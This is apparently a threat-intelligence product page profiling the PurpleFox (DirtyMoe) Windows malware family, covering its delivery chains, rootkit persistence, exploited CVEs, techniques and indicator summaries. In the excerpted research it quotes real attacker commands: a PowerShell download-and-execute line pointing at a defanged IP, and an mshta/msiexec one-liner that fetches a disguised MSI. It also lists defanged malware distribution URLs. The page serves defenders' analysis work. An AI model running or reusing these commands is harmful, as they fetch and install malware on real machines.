Loading malware…
PurpleFox is a modular Windows malware family active since at least 2018 that combines exploit-driven propagation, rootkit-enabled stealth, backdoor functionality, downloader behavior, and botnet operations. It has also been closely associated with delivery of DirtyMoe, and some reporting has used the two names interchangeably, though PurpleFox is widely recognized as its own malware family and exploit ecosystem.
PurpleFox commonly infects systems through malicious MSI installers, exploit-kit activity, and other staged delivery chains. Observed distribution methods include drive-by exploitation through the PurpleFox exploit kit, abuse of WPAD for zero-click delivery, PowerShell-based download chains, fake software or trojanized installers, and MSHTA-assisted execution chains. It has incorporated multiple Windows and Internet Explorer vulnerabilities over time, including browser exploitation for initial compromise and local privilege-escalation exploits to obtain elevated execution before installing its components.
A defining feature of PurpleFox is its rootkit-backed persistence and defense evasion. Its installation workflow has been observed modifying system configuration and scheduling replacement of legitimate service-related DLLs so that malicious code executes with SYSTEM privileges after reboot. PurpleFox deploys additional DLLs and a kernel-mode rootkit component that can hide malware files, registry keys, processes, and related artifacts, making eradication difficult and enabling long dwell times on compromised hosts.
PurpleFox supports downloader and backdoor roles. It can retrieve and install second-stage payloads, maintain command-and-control communications, fingerprint infected hosts, execute commands, enumerate files and directories, create or terminate processes, perform WMI and DNS queries, and exfiltrate data. Newer variants have used WebSocket-based command and control with encrypted session establishment, reflecting continued development and operational maturity.
PurpleFox has also demonstrated self-propagation and botnet behavior. Reported campaigns indicate it can spread by exploiting known vulnerabilities and by brute-forcing passwords, and it has been described as capable of distributed denial-of-service activity. In incident investigations, PurpleFox infections have also co-occurred with cryptocurrency mining payloads such as XMRig, indicating use for monetization beyond simple access operations.
Geographically, PurpleFox infrastructure and victimology have been observed across multiple regions, including Ukraine, the Middle East, and parts of Asia, with repeated reporting of substantial infrastructure presence in China. PurpleFox remains active into 2026 and continues to evolve its delivery chains, privilege-escalation arsenal, and stealth mechanisms.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
7 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
PurpleFox Exploit Kit has started exploiting CVE-2021-26411 RIG Exploit Kit has started exploiting CVE-2021-26411 Bottle Exploit Kit is back, and has started exploiting CVE-2020-1380 and CVE-2021-26411 ... RIG started abusing CVE-2021-26411 in April 2021 ... Magnitude ... exploits CVE-2021-26411 | PurpleFox is an Exploit Kit that has been active since 2019. A private exploit kit for sending PurpleFox malware.
Windows 7/Windows Server 2008 CVE-2019-0808 (KB4489878, KB4489885, KB2882822) | Our findings led us to investigate an updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732) and optimized rootkit capabilities leveraged in their attacks.
Our findings led us to investigate an updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732) and optimized rootkit capabilities leveraged in their attacks.
At the time of analysis, this would return a standalone JavaScript version of the CVE-2019-1367 with custom shellcode to follow the attack chain setup for the WPAD attack. | The PurpleFox Exploit Kit is now being distributed via WPAD attacks targeting Indonesian users.
Analysis of the full chain revealed that the following CVEs were being exploited: CVE-2020-1054, CVE-2018-8120, as well as an exploit for MS15-051. | The PurpleFox Exploit Kit is now being distributed via WPAD attacks targeting Indonesian users.
Analysis of the full chain revealed that the following CVEs were being exploited: CVE-2020-1054, CVE-2018-8120, as well as an exploit for MS15-051. | The PurpleFox Exploit Kit is now being distributed via WPAD attacks targeting Indonesian users.
Windows 8/Windows Server 2012 CVE-2019-1458 (KB4530702, KB4530730) | Our findings led us to investigate an updated PurpleFox arsenal, which included an added vulnerability (CVE-2021-1732) and optimized rootkit capabilities leveraged in their attacks.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The Computer Emergency Response Team in Ukraine (CERT-UA) is warning about a PurpleFox malware campaign that has infected at least 2,000 computers in the country. PurpleFox (or 'DirtyMoe') is a modular Windows botnet malware first spotted in 2018 that comes with a rootkit module allowing it to hide and persist between device reboots.
27 distinct techniques documented for this family, organized by ATT&CK tactic.
The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising.
PurpleFox malware has placed JScript to execute in this table in the past and other malware families have used the table to specify that a malicious DLL should be executed during installation.
The activity starts with either of the following PowerShell commands being executed: "cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png');MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png"
mshta.exe vbscript:createobject("wscript.shell").run("Cmd /c for /d %i in (...) do Msiexec /i http://%i/3EBCE3A4.Png /Q",0)(window.close)
PurpleFox EK primarily abuses vulnerabilities in the Internet Explorer browser via phishing emails or popunder ads.
URLs Distributing Malicious Installers • hxxp://58585[.]xyz/tsetup20473[.]exe • hxxp://xiaotaiyang[.]xyz/tsetup20473[.]exe • hxxp://1077cp111[.]com/x[.]exe • hxxp://whats[.]jsnsgjy[.]cn/whatsappsetupr.exe
Afterward, it loads the driver to hide its files and registries and then spawns and injects a sequence of a 32-bit process to inject its code modules into, as they are 32-bit DLLs.
The primary aim of this next article is to analyze rootkit techniques that DirtyMoe uses. The key techniques of the DirtyMoe rootkit can be listed as follows: the driver can hide itself and other malware activities on kernel and user mode.
The HTA decodes the next payload from an array of character codes and launches it... The downloaded PowerShell script is heavily obfuscated... We observed obfuscation techniques unique to each campaign, aiming to mask keywords that trigger alerts in EDRs and SIEMs.
In January 2022, a campaign spread the malware under the guise of a Telegram desktop app.
The vast majority of detections for mshta.exe come from instances where the command line contains domains that appear to be legitimate services but are hosted on the .cc TLD... Starting in late February 2026... shifted to .vg and .gl TLDs.
Afterward, it loads the driver to hide its files and registries and then spawns and injects a sequence of a 32-bit process to inject its code modules into, as they are 32-bit DLLs.
The tool is MSHTA, short for Microsoft HTML Application Host, a built-in Windows utility that can run scripts from local files and remote internet locations... Attackers have been using it to deliver some of today’s most harmful malware... All use MSHTA as a stepping stone during early or middle stages of infection.
One of its long-standing delivery methods... remained consistent: launching msiexec from an MSHTA command line in order to download and execute an MSI package disguised as a .png file.
PurpleFox оставляет в системе специально подготовленные DLL-библиотеки и принудительно загружает их через процесс svchost.exe...
157 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
13 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Руткит/загрузчик, внедряющийся в svchost.exe, оставляющий специально подготовленные DLL и устанавливающий драйвер режима ядра для скрытного закрепления и загрузки дополнительных полезных нагрузок.
A rootkit/loader that injects code into svchost.exe, drops crafted DLLs, installs a kernel-mode driver for stealthy persistent execution, and can pull additional payloads such as XMRig.
A malware family observed in MSHTA-related campaigns; the article includes infrastructure IoCs but does not further describe its behavior in this report.
A modular Windows botnet malware with a rootkit component for stealth and persistence. It can function as a downloader for second-stage payloads, provide backdoor access, self-propagate via exploits and password brute-forcing, and operate as a distributed denial-of-service bot.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.